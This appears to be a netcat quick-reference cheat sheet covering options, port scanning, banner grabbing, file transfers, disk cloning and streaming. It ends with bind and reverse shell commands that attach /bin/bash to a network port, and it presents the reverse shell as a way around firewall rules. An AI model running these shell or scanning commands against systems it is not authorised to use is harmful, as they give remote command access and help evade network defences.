Netcat

Getting Started {.cols-5}

Usage {.col-span-2}

Connect to a host located anywhere

$ nc [options] [host] [port]

Listen for incoming connections

$ nc -lp port [host] [port]

Option examples {.col-span-3 .row-span-2}

Option	Description	Example
-h	nc -h	Help
-z	nc -z 192.168.1.9 1-100	Port scan for a host or IP address
-v	nc -zv 192.168.1.9 1-100	Provide verbose output
-n	nc -zn 192.168.1.9 1-100	Fast scan by disabling DNS resolution
-l	nc -lp 8000	TCP Listen mode (for inbound connects)
-w	nc -w 180 192.168.1.9 8000	Define timeout value
-k	nc -kl 8000	Continue listening after disconnection
-u	nc -u 192.168.1.9 8000	Use UDP instead of TCP
-q	nc -q 1 192.168.1.9 8000	Client stay up after EOF
-4	nc -4 -l 8000	IPv4 only
-6	nc -6 -l 8000	IPv6 only

Chat client-server {.col-span-2}

Server (192.168.1.9)

$ nc -lv 8000

Client

$ nc 192.168.1.9 8000

Netcat Examples

Banner grabbing

$ nc website.com 80
GET index.html HTTP/1.1
HEAD / HTTP/1.1

or

echo "" | nc -zv -wl 192.168.1.1 801-805

Port scanning

Scan ports between 21 to 25

$ nc -zvn 192.168.1.1 21-25

Scan ports 22, 3306 and 8080

$ nc -zvn 192.168.1.1 22 3306 8080

Proxy and port forwarding

$ nc -lp 8001 -c "nc 127.0.0.1 8000"

or

$ nc -l 8001 | nc 127.0.0.1 8000

Create a tunnel from one local port to another

Download file

Server (192.168.1.9)

$ nc -lv 8000 < file.txt

Client

$ nc -nv 192.168.1.9 8000 > file.txt

Suppose you want to transfer a file “file.txt” from server A to client B.

Upload file

Server (192.168.1.9)

$ nc -lv 8000 > file.txt

Client

$ nc 192.168.1.9 8000 < file.txt

Suppose you want to transfer a file “file.txt” from client B to server A:

Directory transfer

Server (192.168.1.9)

$ tar -cvf – dir_name | nc -l 8000

Client

$ nc -n 192.168.1.9 8000 | tar -xvf -

Suppose you want to transfer a directory over the network from A to B.

Encrypt transfer {.col-span-2}

Server (192.168.1.9)

$ openssl enc -des3 -in file.txt -pass pass:password | nc -l 8000

Client

$ nc 192.168.1.9 8000 | openssl enc -des3 -d -pass pass:password -out file.txt

Encrypt data before transfering over the network

Clones

Server (192.168.1.9)

$ dd if=/dev/sda | nc -l 8000

Client

$ nc -n 192.168.1.9 8000 | dd of=/dev/sda

Cloning a linux PC is very simple. Suppose your system disk is /dev/sda

Video streaming

Server (192.168.1.9)

$ cat video.avi | nc -l 8000

Client

$ nc 192.168.1.9 8000 | mplayer -vo x11 -cache 3000 -

Streaming video with netcat

Remote shell

Server (192.168.1.9)

$ nc -lv 8000 -e /bin/bash

Client

$ nc 192.168.1.9 8000

We have used remote Shell using the telnet and ssh but what if they are not installed and we do not have the permission to install them, then we can create remote shell using netcat also.

Reverse shell

Server (192.168.1.9)

$ nc -lv 8000

Client

$ nc 192.168.1.9 8000 -v -e /bin/bash

Reverse shells are often used to bypass the firewall restrictions like blocked inbound connections